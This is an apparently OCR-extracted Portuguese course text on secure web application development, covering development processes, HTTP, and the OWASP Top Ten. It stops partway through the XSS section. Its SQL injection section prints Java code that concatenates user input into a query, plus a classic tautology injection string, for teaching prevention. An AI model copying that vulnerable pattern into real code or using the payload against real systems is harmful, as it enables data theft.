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1. Introducao

Esse texto é um guia de referéncia para estudos da Disciplina Seguranca no Desenvolvi-
mento de Aplicacdes, do Curso de Especializacdo em Gestdo da Seguranca da Informacéo e
Comunicagoes 2009-2011, CEGSIC 2009-2011.

Ao final do texto espera-se que o leitor seja capaz de perceber as caracteristicas e desafios
gerais que se aplicam ao desenvolvimento de aplicacdes de software para o ambiente Internet/
Web, bem como algumas praticas recomendadas na Secao 12 da norma ISO/IEC 17799:2005, que
aborda Seguranca na Aquisicao, desenvolvimento e manutencao de sistemas de informacéo. Os
principais conceitos abordados no texto sdo: Software e seu processo de desenvolvimento (se-
¢ao 2); Arquitetura de Aplicacdes Internet/Web (secdo 3); principais riscos de ataques aos quais
estdo sujeitas aplicagcdes na internet/Web (secdo 4); processos e métodos para seguranc¢a no de-
senvolvimento de software (secdo 5); recomendacdes para seguranca de arquivos em sistemas
computacionais (secdo 6) e gestao de vulnerabilidades técnicas (secdo 7).
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2. Software e seu Processo de
Desenvolvimento

Um software é desenvolvido em um processo de desenvolvimento, que é usualmente
construido baseado em um modelo de processo previamente descrito na comunidade de en-
genharia de software’, a partir das experiéncias de sucessos e insucessos das organizacbes
produtoras de software.

2.1 Software

Existem na literatura algumas definicbes em relacao a palavra software, dentre as quais
destacam-se as apresentadas a seqguir.

“Software de computador é o produto que os profissionais de software
constroem e, depois, mantém ao longo do tempo. Abrange programas
que executam em computadores de qualquer tamanho e arquitetura,
contetido que é apresentado ao programa a ser executado e docu-
mentos tanto em forma impressa quanto virtual que combinam todas
as formas de midia eletrénica” (PRESSMAN, 2006).

“Software é um conjunto de programas de computador e a documen-
tacdo associada. Software nGo é apenas o programa mas também
toda a documentacdo associada e os dados de configuragédo necessd-
rios para fazer com que esses programas operem corretamente” (SOM-
MERVILLE, 2005).

Um software pode ser composto por apenas algumas poucas dezenas de linhas de cédigo
construidas por um programador em poucas horas, bem como pode ser composto por mi-
Ihdes de linhas de codigo, imagens, dados de configuracao, documentacdo etc, resultantes de
um laborioso processo envolvendo centenas de pessoas que trabalham de forma coordenada
durante vdérios anos. Existe, portanto, uma variedade de tipos de software, mas conforme Stair
e Reynolds (2006), os software? podem ser classificados em dois tipos principais: software de
sistema, que sdo os que controlam as operac¢des basicas de um computador (sistema opera-
cional, dentre outros) e software de aplicacdo para fins especificos, como, por exemplo, o que
realiza o controle financeiro de uma empresa especifica. O software de aplicagcao pode ser cha-
mado simplesmente de aplicagdo ou aplicativo e é o foco desse texto.

Conforme destaca Fernandes (2010a), um software de aplicacdo, em geral, é parte de um
sistema automatizado, e serve para automatizar um processo organizacional. Um software de
sistema, por outro lado, automatiza um processo computacional que usualmente nao teria
viabilidade de ser executado por um ser humano, por exemplo, o processamento de pacotes
do IP (Internet Protocol) em um dispositivo de redes de computadores.

Um software deve sempre satisfazer as necessidades dos seus clientes?® e usuarios®. O sof-
tware também deve ter um desempenho sem falhas por um longo periodo de tempo e deve

1 Engenharia de software pode ser definida como a disciplina que visa a construcdo multipessoal
de software multiversional (IEEE Computer Soceity, 2004). Em outras palavras, muitas pessoas
desenvolvendo um produto de software durante um periodo de tempo no qual séo lancadas
diversas versbes do software (meses, dias, anos e décadas). Para uma visdo geral da engenharia
de software recomendam-se os livros de Sommerville (2005), Pressman (2006). Na pagina http://
www.cic.unb.br/~jhcf também é possivel ter acesso a apresentagdes introdutdrias do assunto.

2 O plural de software é software mesmo, isso &, sem s ao final da palavra.

3 Osclientes de um software sdo as pessoas responsaveis pela aquisicao e implantacdo do software,
usualmente representam uma organizagao que precisa automatizar um sistema de informacoes.

4 Os usudrios de um software sdo os que entram em contato direto com o aplicativo de software,
e que usam ativamente a interface do sistema de informag¢des automatizado pelo software.
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ser de facil modificacdo (PRESSMAN, 2006). Nesse contexto, Sommerville (2005) destaca os
seguintes atributos essenciais de qualidade de um software:

«  Facilidade de manutencao: o software deve ser escrito de modo que possa evoluir
para atender as necessidades mutdveis dos clientes e usudrios.

+  Nivel de confianca compativel com o uso: o nivel de confianca envolve confiabilidade,
protecao e seguranca.

- Eficiéncia: o software nao deve desperdicar os recursos do sistema computacional no
qual é executado.

- Facilidade de uso: o software deve ser de facil utilizacdo, deve ter uma interface apro-
priada e documentacao adequada.

Para que tais atributos de qualidade sejam alcancados se faz necessario que o software
seja desenvolvido por meio de um processo adequado.

2.2 Processo de desenvolvimento de software

Um processo de software é um conjunto de atividades e resultados associados, desenvol-
vidos ciclicamente (como qualquer processo) em uma organizacao produtora de software, e
que busca gerar um software com qualidade ou atributos esperados. Segundo Sommerville
(2005), séo atividades fundamentais comuns a todos os processos de software:

- Especificacao do software: as funcionalidades do software e as restricbes em sua ope-
racdo devem ser previamente definidas em alguma fase do processo.

+  Desenvolvimento do software. O processo deve fazer com que o software a ser produ-
zido atenda as suas especificacoes.

«  Validacéo de software. O processo deve validar o software, para garantir que ele faca
o que o cliente deseja.

«  Evolucéo do software. O processo deve permitir que software, durante sua evolucéo
ao longo de varias versbes, continue a atender a periédica mudanca de necessidades
de seus clientes e usuarios.

Toda organizacéo adota um processo de desenvolvimento de software, mesmo que ele
seja cadtico. A melhoria de processos de producdo de software depende, muitas vezes, de en-
volvimento de consultores em melhoria de processo.

2.3 Modelos de processo de software

O processo de software executado em uma organizac¢ao é usualmente formulado com base
em uma colecdo de padrdes previamente descritos, e que definem um conjunto de atividades,
acoes, tarefas de trabalho, produtos de trabalho e/ou comportamento relacionados necessarios
ao desenvolvimento de software em geral. Dessa forma, um modelo de processo de software
agrega um conjunto distinto de atividades, a¢des e tarefas, marcos e produtos de trabalho que
sdo necessarios para fazer engenharia de software com qualidade (PRESSMAN, 2006).

Segundo Pressman (2006), [um modelo de] processo de software pode ser visto como um
roteiro que deve ser seguido para criar um software de alta qualidade em um tempo deter-
minado. Tal modelo de processo é, portanto, uma representacao abstrata de um processo de
software (SOMMERVILLE, 2005), e precisa ser ajustado as necessidades especificas e concretas
do processo de software de cada organizacdo em particular, bem como as caracteristicas es-
pecificas do software que deve ser desenvolvido, usualmente no contexto de um projeto, com
prazo e custos limitados.

Vérios modelos de processo de software foram descritos ao longo dos cerca de 40 anos
de evolucao da engenharia de software, e a seguir sao apresentados os modelos Cascata e do
Processo Unificado.
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O Modelo em cascata, algumas vezes chamado de modelo de ciclo de vida classico, su-
gere uma abordagem sequencial para o desenvolvimento de software. Esse modelo é o mais
antigo da engenharia de software (PRESSMAN, 2006). Outros modelos de processo de software
podem ser encontrados na literatura, tais como modelo incremental, evolucionario, espiral.

Um modelo de processo muito utilizado atualmente, é o [modelo de] Processo Unifica-
do, criado por lvar Jacobson, Grady Booch e James Rumbaugh que traz a necessidade de um
processo de software guiado por caso de uso, centrado na arquitetura, iterativo e incremental
(Pressman, 2006; Sommerville, 2005).

O [modelo de] Processo Unificado, representado na Figura 1, organiza em duas dimensoées
as varias atividades, acoes, tarefas de trabalho, produtos de trabalho e comportamento relacio-
nados necessarios ao desenvolvimento de software:

« O eixo horizontal do Processo Unificado representa o tempo e mostra as varias fases
do processo de desenvolvimento, cada uma com suas metas especificas. As quatro
fases do [modelo de] Processo Unificado possuem metas especificas e que incluem
(SCOTT, 2003):

- nalniciacdo, também chamada de Concepcdo, a meta é estabelecer a viabilidade
do sistema de software proposto;

- naElaboracdo a meta é estabelecer a capacidade para a construcao do novo sis-
tema de software, dadas as caracteristicas arquiteturais do software, as restricoes
financeiras e de cronograma do projeto, entre outros;

- naConstrucdo a meta é a construcao plena do sistema de software, de forma ite-
rativa (em varios ciclos de trabalho) e incremental (os requisitos do software sao
gradual e cumulativamente implementados em cada iteracao); e

- naTransicado a meta é entregar o sistema completamente funcional ao ambiente
operacional do cliente.

« O eixo vertical do Processo Unificado apresenta as principais disciplinas do processo
de desenvolvimento de software, nas quais atuam os profissionais que desempenham
papéis especializados:

- Modelagem de negécios

- Requisitos (ou necessidades dos clientes e usuarios).

- Analise e Design (do software)

- Implementacdo (construcdo de cédigo e componentes)
- Teste (inclusive Validacao)

- Implantacédo (do software em seu ambiente operacional)
- Gerenciamento de configuracdo e mudancas

- Gerenciamento de projeto

- Ambiente (de desenvolvimento de software)
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Figura 1 — Processo Unificado. Fonte: (SCOTT, 2003).

Na Figura 1 destaca-se que ao longo das fases do Processo Unificado varia o esforco dos
profissionais que atuam em cada uma das disciplinas. Por exemplo, na fase de Iniciagcdo maior
esforco é despendido pelos que atuam na modelagem de negdcios e Requisitos. Na fase de
Elaboracao diminui o esforco da Modelagem de Negdcios e de Requisitos e aumenta o esforco
de Andlise e Design.

O Processo Unificado é as vezes chamado de RUP (Rational Unified
Proccess) por causa da Rational Corporation empresa pioneira no
desenvolvimento de ferramentas e tecnologias para apoiar o de-
senvolvimento do software (Pressman, 2006). A Rational foi incor-
porada a IBM Corporation no inicio deste século.

2.4 0 Problema da Seguranc¢a no Software

Software é um componente fundamental® na automacédo dos processos de sistemas de
informacéo e processos da infra-estrutura computacional. Se esses processos de sistemas de
informacéo e de infraestrutura computacional falham, seja por causas acidentais, como erros
de um operador humano ou erros na programacao do software, seja por causas intencionais,
como ataques por um hacker, varios sdo os problemas que podem ser gerados. De fato, pode-
-se dizer que, de forma complementar aos incidentes de seguranca decorrentes de falhas ou
ataques do componente humano no trato da informacéo, a grande maioria dos demais inci-
dentes de seguranca da informacao tem sua origem nas vulnerabilidades presentes no softwa-
re. Um dos principais fatores causadores dessas vulnerabilidades é a codificacdo ingénua do
software por um programador, quando o mesmo considera basicamente os cenarios positivos
de execucdo de um c6digo, sem se preocupar com o caso de usuarios maliciosos.

5 Etambém fundamental para o desenvolvimento tecnolégico, social e econémico.

10
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Os incidentes decorrentes da exploragdo dessas vulnerabilidades sdo geralmente relacio-
nados com a indisponibilidade, a divulgacao indevida de informacéo e a perda de integridade
da informacao.

A Microsoft (2010) usa o acrénimo STRIDE para classificar os efeitos que podem ser provo-
cados em decorréncia de falhas de seguranca em uma aplicacdo, sendo: S de spoofing (falsifica-
¢do de identidade de um usudrio); T de tampering (adulteracdo de integridade da informacéao
ou do sistema); R de repudiation (repudiacdo ou negacao de execucao de ato previamente
cometido por um usuario); | de Information disclosure (divulgacao indevida de informacao);
D de denial of service (negacao de servico); e E de elevation of privilege (escalagcdo de privilé-
gios indevidos por parte de um usuario). Esses efeitos podem produzir impactos de baixo a
alto valor, dependendo do tipo de aplicacdo ou sistema computacional no qual o software
estd executando. Podem gerar incidentes simples envolvendo, por exemplo, a necessidade de
reinstalar um aplicativo em uma méquina de uso pessoal, bem como incidentes que impactam
vidas humanas, como a perda de controle de um sistema de geracdo ou transmissdo de ener-
gia elétrica, ou de sistemas de comunicacao, de defesa, de transportes, médico-hospitalares
etc. O livro de Neumann (1995) apresenta uma grande compilagdo de incidentes de seguranca
computacional ocorridos até o ano de 1995°.

Considerado o cenario acima descrito, torna-se claro que a seguranca da informacao em
ambientes tecnolégicos depende em grande parte da adog¢do de seguranca para a aquisicao e
desenvolvimento de software. Ocorre que os modelos de processo de software desenvolvidos
até antes da disseminacao da Internet, como Cascata e UP, foram concebidos em um momento
histérico e tecnoldgico onde ainda ndo havia preocupacédo generalizada com os varios proble-
mas de seguranca decorrentes da exposicao das aplicacdes computacionais as redes abertas.
Conforme destaca Fernandes (2010a), a exposicdo de uma aplicacao a Internet aumenta enor-
memente a possibilidades de ataques e exploracao de vulnerabilidades nessa aplicacao. Em
resposta a essa situacao recente, o desenvolvimento de software tem evoluido nos ultimos seis
anos visando incorporar de forma mais explicita o trato de questdes de seguranca da informa-
¢ao durante seu desenvolvimento. Antes de apresentar quais sdo estas evolugdes, a préxima
secao apresenta uma breve introducdo as caracteristicas arquiteturais de aplicagdes computa-
cionais para o ambiente Internet/Web, visando dar ao leitor uma no¢do mais precisa dos riscos
aos quais estdo sujeitos tais tipos de aplicagdes. Embora a abordagem seja parcial, visto que
nem todas as aplicagdes sao para ambiente Web e Internet, espera-se que a exposi¢do permita
a compreensao da amplitude do problema de seguranca no desenvolvimento de aplicagbes.

6 Muitos mais incidentes e acidentes atribuidos a falhas em computadores ocorreram depois da
publicacao do livro de Neumann, e informacéo mais atualizada pode ser encontrada em http://
catless.ncl.ac.uk/Risks/.

11
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3. Arquitetura de Aplicacoes Internet/Web

SGBD Servidor Cliente

Comandos

[ = | SQL
T ——
L1 Resultados
SQL
Bancos

de Dados

Figura 2 — Uma Arquitetura Abstrata para Aplicacdes Internet/Web. Fonte: Os autores.

Na Figura 2 sdo ilustrados componentes computacionais que estao relacionados com a
arquitetura de um software aplicativo (aplicacao) na Web, que é um tipo de aplicacdo baseada
no modelo cliente-servidor. Estes componentes sdo:

«  Cliente. O cliente é usualmente um computador que executa um navegador Web (bro-
wser’), que manipula textos e programas escritos nas linguagens HTML?® (HyperText
Markup Language), javascript® e XML (eXtensible Markup Language), dentre outros
elementos. O computador cliente se comunica com o servidor enviado solicitagoes,
pedidos ou “requests” baseados no protocolo de comunicacdo chamado de HTTP
(HyperText Transfer Protocol''). Uma aplicacdo web usualmente é composta por uma
quantidade varidvel de clientes, que pode variar de umas poucas unidades até mi-
Ihdes de computadores, celulares etc;

7 Veja uma definicdo mais aprofundada do que é um navegador web em http://en.wikipedia.org/
wiki/Web_browser. A pagina em portugués ndo contém informacéo precisa sobre o que é um
browser.

8 Para uma introducéo a linguagem de construcdo de paginas HTML veja http://pt-br.html.net/
tutorials/html/

9 Para uma introducéo a linguagem de programacdo Javascript veja http://www.javascript-tuto-
rial.com.br/content-cat-1.html

10 Para uma introducao a linguagem de marcacdo de dados XML, em lingua inglesa, veja http://
www.w3schools.com/xml/default.asp.

11 A especificacdo detalhada e didética do protocolo http é descrita, em lingua inglesa, em http://
www.w3.org/Protocols/rfc2616/rfc2616.html.

12
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- Servidor. O computador servidor possui componentes de software que sao capazes
de entender as solicitacdes HTTP enviadas pelo cliente, além de conter componen-
tes relacionados com a prépria aplicacdo que deve automatizar algum sistema de
informacoes. As aplicacoes web sao escritas em diferentes linguagens de programa-
cdo, por exemplo, Java, PhP, C#.NET, Perl, ASP, JSP, JSF, dentre outras. Uma aplicacdo
web usualmente contém uma quantidade de servidores, que variam de um a algumas
dezenas de servidores, dependendo do porte da aplicagao. Os servidores atuam de
forma coordenada e muitas vezes sao replicados, por questoes de tolerancia a falhas
e melhoria de desempenho.

- Sistema Gerenciador de Banco de Dados: Um ou mais bancos de dados usados por
uma aplicagdo Web residem usualmente em computadores distintos do servidor web,
chamados SGBDs. Os SGBDs sao acessados diretamente apenas pelos servidores Web,
por meio de comandos da linguagem SQL'? (Structured Query Language). Nos bancos
de dados estdo armazenados os dados e informacdes utilizadas pela aplicacdo. Uma
aplicacdo web usualmente acessa varios bancos de dados, muitas vezes replicados
por questdes de tolerancia a falhas e melhoria de desempenho.

« Internet/Web. A Internet é a rede mundial que permite a conectividade entre os mi-
Ihdes de computadores servidores e os bilhdes de computadores clientes. Os compu-
tadores servidor e cliente que conversam por meio do protocolo HTTP e sua variante
de transmissao de dados criptografados, o protocolo HTTPS, constituem o que se
chama de World Wide Web (WWW) ou simplesmente Web. A existéncia da Internet/
Web, interposta entre os servidores e clientes é a fonte de sucesso das aplicacdes web,
mas também é a principal origem dos ataques contra a seguranca de tais aplicacoes.

Um elemento central para o sucesso no funcionamento das aplicagdes web é o protocolo
HTTP, que é implementado tanto pelos servidores web como pelos browsers (navegadores), e
descrito a sequir.

3.1 O Protocolo HTTP

O HTTP (Hypertext Transfer Protocol) é um protocolo para sistemas de informagoes distribuidos
e hipermidia. Através desse protocolo é possivel a um cliente navegar na web, enviado solicitacdes
http e recebendo respostas http de varios servidores web, de forma simultanea ou concorrente.

O protocolo HTTP foi projetado para permitir a transferéncia de documentos HTML e ou-
tros recursos hipermidia como imagens, scripts, arquivos de som etc, especialmente do servi-
dor web para o cliente web, mas também na direcdo do cliente web para o servidor web. No
protocolo HTTP um cliente, que é usualmente um browser (navegador), que reside em um
computador cliente, e que faz uma solicitacdo ou pedido (Request) a um aplicativo que reside
no servidor, seja de forma explicita, por meio da digitacdo de uma URL no browser ou de forma
implicita, por meio de navegacdo em hiperlinks. O servidor web é um aplicativo que responsa-
vel por produzir respostas (Response) em decorréncia das solicitacées do cliente (browser). A
Figura 3 ilustra esse processo.

12 Para uma breve apresentacdo da linguagem SQL veja http://pt.wikipedia.org/wiki/SQL . Para
uma introdugdo completa a linguagem SQL, em inglés, veja http://www.w3schools.com/sql/
default.asp.
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Figura 3: Comunicacéo via o Protocolo http. Fonte: Os Autores.

O endereco que é inserido pelo usudrio de um navegador para acessar um recurso, em geral
uma pagina, localizado em um determinado servidor na web é chamado de URL (Universal Re-

source Locator). Uma URL é composta pela regra de formacao descrita na Figura 4, que contem:

a. Protocolo usado na comunicacédo, usualmente o HTTP;

b.

Endereco IP ou nome de dominio da maquina;
C.
d. O caminho do programa e as varidveis que sao passadas na solicitacéo.

A porta na qual o servidor web recebe o pedido de conexao;

A porta padrao das URLs que usam o protocolo HTTP é a de nimero 80. Quando o servi-
dor web responder por essa porta ndao é necessario informar esse nimero na URL. Na Figura 4

cada uma das partes é ilustrada.

Diretério ou arquive /

http://host[:porta] [caminho [ "?" Query ]]
l, Porta B0 € a default

? Comecgar a enviar
pardmetros

Mome da maquina
ou IP
Figura 4: Regra de formacdo de uma URL. Fonte: Os Autores.
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A parte da url que vem apés o sinal de interrogacdo é chamada de QUERY, e usualmente
contém variaveis e seus respectivos valores, que foram encaminhados pelo cliente na solicita-
¢ao HTTP. A Figura 5 apresenta um exemplo de uma QUERY que tem duas varidveis: nome e
cargo, com 0s seus respectivos valores. As variaveis da QUERY sdo separadas pelo simbolo &.

separador de

Valor da Varidvel
Valor da Variavel

1 1

nome=Maristela&cargo=Aluna

!

MNome da Variavel Nome da Variavel

Figura 5: Um exemplo de QUERY. Fonte: Os Autores.

O texto abaixo apresenta um exemplo completo de uma URL ficticia, onde se supde que
seria usada para fazer consulta por meio do protocolo http, junto ao cadastro de usuarios de
um sitio web localizado no computador cujo nome de dominio é www.cic.unb.br. O caminho
da aplicagdo é /cadastro/consulta e a query é nome=Maristela&cargo=Aluna.

http://www.cic.unb.br:80/cadastro/consulta?nome=Maristela&cargo=Aluna

O Protocolo http, descrito em detalhes na RFC 2618, é um protocolo originalmente con-
cebido para facilitar a navegacao de browsers através de uma rede de paginas HTML nas quais
nao ha geracdo dinamica de informacéo criada ao longo de uma sessdo de trabalho. Sendo
assim, foi projetado para uso em sistemas de informacao stateless, isso €, em sistemas que
nao guardam o estado de sessdes de trabalho ou de transa¢des. Sessdes de trabalho podem
ser realizadas por meio do processamento de uma sequéncia de pedidos e respostas HTTP
vinculados, como é comum ocorrer em sitios de comércio eletrénico. Ocorre que apds o desen-
volvimento do modelo hipermidia da Web os ambientes da Internet e da Web mostraram-se
altamente propicios a construcdo de sistemas de informacao transacionais, especialmente de
comércio eletrénico. Nesse caso, se fez necessario criar extensdes a arquitetura de aplicacbes
web, as quais permitem a vinculagdo de varios pedidos e respostas HTTP a um Unico navega-
dor web, visando facilitar a programacdo de sistemas transacionais. Essa extensdo consistiu
basicamente da criacao de cookies HTTP e sessdes web.

Um cookie HTTP é um minusculo conjunto de informagdes que sdo repetidamente copia-
das do servidor para o cliente web e do cliente web para o servidor, em cada um dos pedidos
e respostas HTTP trocados entre dois agentes ao longo de varias horas e dias de interacao. O
cookie carrega usualmente, entre outras informacdes, um identificador Unico gerado aleato-
riamente quando do processamento do primeiro pedido enviado pelo navegador ao servidor,
que é o identificador da sessdo web do navegador. A sessdao web, identificada pelo nimero
contido no cookie, consiste em um conjunto de dados armazenados no servidor web que guar-
dam detalhes da vinculacdo da interacdo de um usudrio com um determinado servidor web.
Através da sessdao web é possivel criar aplicacdes que utilizam conceitos como carrinho de
compra, por exemplo, onde uma lista de produtos a serem comprados é criada ao longo de
varios pedidos e respostas HTTP trocados entre o navegador e o servidor.
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4. Riscos nos desenvolvimento de
aplicacoes Internet/Web

Aplicagdes Internet/Web, ou simplesmente aplicacbes web sdo grandes alvos de ataques
de seguranca atualmente, por isso, o foco dessa disciplina é em software na web. Segundo o
SANS Institute (SANS, 2009)" em seu documento The Top Cyber Security Risks :

“Ataques contra [vulnerabilidades de] aplicacdes web constituem mais
de 60% do total das tentativas observadas na Internet. Essas vulne-
rabilidades estdo sendo amplamente exploradas para converter web
sites confidveis em web sites maliciosos, que fornecem conteudo ex-
plordvel no lado do cliente e vulnerabilidades em aplicacées web ...."

O grande problema em relagdo as aplicagdes web é que a rede de comunicagdes pode estar se-
gura, com firewall, controle de acesso, mas, mesmo assim, um usudrio mal intencionado pode, através
de entrada de dados em um formulario web, executar varios tipos de ataques que escapam completa-
mente ao controle da equipe de seguranca em redes. O problema da seguranca das aplicagcdes web,
e a dificuldade que as abordagens de seguranca em redes de computadores tém para alcancar essa
seguranca sao descritos em mais detalhes em trabalhos como Paiva e Medeiros (2008). Durante os
ultimos anos, o numero de vulnerabilidades descobertas em aplicagdes web tem sido muito maior
do que o numero de vulnerabilidades descobertas em sistemas operacionais e, como resultado, mais
tentativas de exploracao sao registradas em aplicacdes web que em sistemas operacionais.

O emprego de técnicas de desenho e codificacdo de software ingénuas, que nao conside-
ram a possivel malicia dos usuarios na outra extremidade da aplicacdo, ou mesmo as possiveis
vulnerabilidades introduzidas pelo uso de bibliotecas de cédigo de origem duvidosa, tornam
o problema cada vez mais evidente, fazendo com que o emprego de aplicagdes web por orga-
nizacées seja um negdcio arriscado.

Os institutos de seguranca na web atualizam continuamente suas listas com os tipos mais
frequentes de riscos, ataques e vulnerabilidades em aplicacdes web. Como pode ser observado
no grafico da Figura 9, disponibilizado pelo OSVD (Open Source Vulnerability Database), os ata-
ques de XSS (Cross-Site Scripting) e Injecao de SQL, CSRF (Cross-site request forgery), Inclusdo de
arquivo, DoS e overflow vem acontecendo com frequéncia ao longo dos anos.

Vulnerabilities in OSVDB by Quarter by Type

800+

7501

600 W x5S
Il S0L Injection

250 [ | E.SHF .
B File Inclusion
B Cos

00 W Cverflow

150

4]
4 12 3412341234123 4123412341234 123
2003 2004 2005 2006 2007 2008 2009 2010

Figura 9: Vulnerabilidades. Fonte: (OSVDB, 2010)

13 SANS - SANS (SysAdmin, Audit, Network, Security) Institute www.sans.org
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Outras duas listas que apresentam diferentes riscos em aplicacbes web sao: The Ten Most
Critical Web Application Security Risk (OWASP, 2010) e Top 25 Most Dangerous Software Errors
(Christey, 2010).

A lista dos Top Ten Most Critial Web Application Security Risk disponivel pela OWASP é com-
posta dos seguintes riscos (OWASP, 2010):

1. Injecdo: As falhas de injecdo, em especial SQL Injection, sdo comuns em aplicagdes
Web. A injecao ocorre quando os dados fornecidos pelo usuério sdo enviados a um
interpretador com parte do comando ou consulta. A informacdo maliciosa fornecida
pelo atacante engana o interpretador que ird executar comandos mal intencionados
ou manipular informacoes.

2. Cross-Site Scripting (XSS): Os furos XSS ocorrem sempre que uma aplicacdo obtém
as informacoes fornecidas pelo usudrio e as envia de volta ao navegador sem realizar
validacao ou codificacdo daquele contetdo. O XSS permite aos atacantes executarem
scripts no navegador da vitima, o qual pode roubar sessdes de usudrio, modificar sites
Web, introduzir worms etc.

3. Autenticacdo falha e Gerenciamento de Sessdo: As credenciais de acesso e o token
de sessao nao sao protegidos apropriadamente com bastante frequéncia. Atacantes
comprometem senhas, chaves ou tokens de autenticacao de forma a assumir a iden-
tidade de outros usudrios.

4. Referéncia Insegura Direta a Objetos: Uma referéncia direta a objeto ocorre quan-
do um desenvolvedor expde a referéncia a um objeto implementado internamente,
como é o caso de arquivos, diretdrios, registros da base de dados ou chaves, na forma
de uma URL ou parametro de formulario. Os atacantes podem manipular essas refe-
réncias para acessar outros objetos sem autorizacao

5. Cross Site Request Forgery (CSRF): Um ataque CSRF forca o navegador da vitima, que
esteja autenticado em uma aplicacdo, a enviar uma requisicdo pré-autenticada a um
servidor Web vulneravel, que por sua vez forca o navegador da vitima a executar uma
acdo maliciosa para o atacante. O CSRF pode ser tdo poderoso quanto a aplicacdo
Web que ele ataca.

6. Erros de Configuracdo de Seguranca: Atacantes acessam contam default, paginas nédo
usadas, falhas de nédo atualizacdo em patchs, arquivo e diretérios nao protegidos, com
objetivo de ter acesso ndo autorizado para conhecimento do sistema. Erro na confi-
guracao de seguranca pode acontecer em qualquer nivel de uma pilha de aplicagao,
incluindo a plataforma, servidor web, servidor de aplicacao, framework e cédigo cus-
tomizado. Desenvolvedores e administradores de rede necessitam trabalhar juntos
para garantir que a pilha de entrada seja configurada apropriadamente.

7. Armazenamento Criptografico Inseguro: As aplicacdes Web raramente utilizam fun-
¢cOes criptograficas de forma adequada para protecao de informacgdes e credenciais.
Os atacantes se aproveitam de informa¢des mal protegidas para realizar roubo de
identidade e outros crimes, como fraudes de cartdes de crédito.

8. Falha de Restricao de Acesso a URL: Frequentemente, uma aplicagdo protege suas
funcionalidades criticas somente pela supressao de informagdes como links ou URLs
para usudrios ndo autorizados. Os atacantes podem fazer uso dessa fragilidade para
acessar e realizar operagdes nao autorizadas por meio do acesso direto as URLs.

9. Insuficiente Protecédo a nivel de transporte: As aplicacées frequentemente falham em
criptografar tréfego de rede quando se faz necessario proteger comunicagdes criti-
cas/confidenciais.

10. Redirecionamento e Encaminhamentos (Redirects and Forwards) nao validados: Fre-
quentemente, aplicacoes web redirecionam e encaminham usudrios para outras pa-
ginas e sites web, e usa dados ndo confidveis, sem uma validacao apropriada para
definir o destino. O atacante pode usar esse problema para redirecionar vitimas a sites
malware ou usar os encaminhamentos para acessar paginas ndo autorizadas.
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Os ataques de Injecao de cédigo SQL e XSS estao também no topo da lista da OWASP, por
isso sao descritos com mais detalhes a seguir, adotando-se o formato de apresentacao basea-
do no documento da OWASP. A lista completa dos problemas é disponivel em OWASP (2010).

4.1 Injecao de SQL

Um ataque de injecdo de SQL é um tipo especifico de ataque de injecdo, baseado na ex-
ploracao de caracteristicas da linguagem SQL.

Ataque

O atacante envia um simples texto que explora a sintaxe do interpretador, frequentemen-
te encontrado em consultas SQL.

Impacto

Um ataque de SQL Injection pode resultar em perda ou roubo de dados, negacao de aces-
so. Considerando o valor do negécio dos dados afetados o prejuizo pode ser muito grande.

Exemplo de um Ataque

Uma aplicagcdo web usa diretamente dados nao confidveis enviados pelo navegador web, ob-
tidos, por exemplo, por meio da string de consulta (QUERY) http, na construcao do seguinte SQL:

String consulta_sql = “SELECT * FROM conta WHERE nome=’"" +

request.getParameter(“nome”) + ;

Na linha de comando acima uma string com o comando SQL a ser executado pelo banco
de dados é feita através da concatenacéo da cadeia de caracteres SELECT * FROM conta WHERE
clientelD=, juntamente com o valor do nome do cliente supostamente passado como parame-
tro na query da URL (ver secao 3.1). Ocorre que o atacante, em vez de passar apenas 0 nome
do usuario, encaminha como query de entrada o trecho abaixo

nome=Maristela‘ OR ‘1’=’1

O uso do parametro recebido, sem validacao prévia, produziria a seguinte consulta SQL

SELECT * FROM conta WHERE nome=’Maristela’ OR ‘1’=’1’

Como a consulta acima contém uma expressao légica que é sempre verdadeira, visto que
a primeira condicao (nome = Maristela?) pode ser falsa, mas‘1’serd sempre igual a‘1} a consul-
ta retornard todos os registros de usuarios da tabela conta, e ndo apenas o registro da pessoa
de nome Maristela. A consequéncia desse ataque simplificado seria a perda de confidenciali-
dade dos dados manipulados pela aplicacéo.
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Para se prevenir de ataques de SQL Injection deve-se utilizar:

1. Sempre que possivel, APl seguras e parametrizadas para acesso a bancos de dados,
que ja diminuem o risco desse ataque. Sdo exemplos de tais APIs o Hibernate (Hiber-
nate 2010) e EJB (Oracle 2010).

2. Se nado existir uma APl parametrizada, deve-se, antes de produzir qualquer comando
SQL por meio de concatenacao de strings, analisar detalhadamente todas as entradas
de dados efetuadas pelos usuarios, a fim de se retirar os caracteres especiais, usando
um analisador de sintaxe especifico.

3. “White list" de validacao de entrada, com a forma candénica apropriada, removendo
quaisquer caracteres espurios. Isso ndo é completamente seguro, pois algumas apli-
cagdes requerem caracteres especiais como entrada, o que produz riscos de introdu-
zir negacgéo de servicos em determinados sistemas.

4.2 Cross-Site Scripting (XSS)

XSS, cross-site scripting, € um dos ataques mais predominantes e perigosos em aplicagdes
web. Segundo Shristey (2010), tais ataques decorrem de uma combinag¢do da natureza stateless
do HTTP, da mistura de dados e scripts HTML, do uso de diversos esquemas de codificacao e
dos navegadores web com interface rica (feature-rich).

Ataque

O esquema abaixo, adaptado de Meunier (2005), sumariza a condicdo geral de execucédo
de um ataque XSS. O ataque acontece quando uma aplicacdo web, do lado do servidor (Ex: Z),
inclui nos dados de uma pagina web enviada para um usudrio legitimo um conjunto de dados
(chamado de envenenamento, na Figura 10) que foram previamente recebidos de um usudrio
malicioso (ex: Mallory). Tais dados usualmente contém um Script Malicioso, que é executado
inadvertidamente pelo navegador web do usudrio legitimo. O script malicioso executado no
computador do usudrio legitimo poderd ser usado para enviar dados para outro sitio (ex: M),
envolvendo roubo de cookies, identificadores de sessdo, senhas, dados de formularios etc.

Envenenamento
> Navegando s
» Z

L

il e

Script Malicioso

Script Malicioso Executado

Figura 10: Exemplo de Ataque XSS. Fonte: Adaptado de Meunier (2005).

Existem trés tipos bem conhecidos de XSS (OWASP 2010): refletido, armazenado e inser-
¢ao DOM, explicados a seguir'.

XSS refletido é de exploragao facil. Uma pdgina contaminada pelo script malicioso refletira
para o sitio malicioso os dados fornecidos pelo usuario ao sitio legitimo, tais como, mensagens
de erro, resultados de uma pesquisa ou outra resposta que inclua algum ou todos os dados de
entrada de formularios.

14 Para explicacdes mais detalhadas ver http://www.owasp.org/index.php/Top_10_2010-A2-
-Cross-Site_Scripting_%28X55%29.
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XSS armazenado envolve o envenenamento do sitio legitimo por dado hostil, o subse-
quente armazenamento desse dado hostil em arquivo, banco de dados ou outros sistemas
de suporte a informacao no computador do servidor web e entdao, em um estagio avancado a
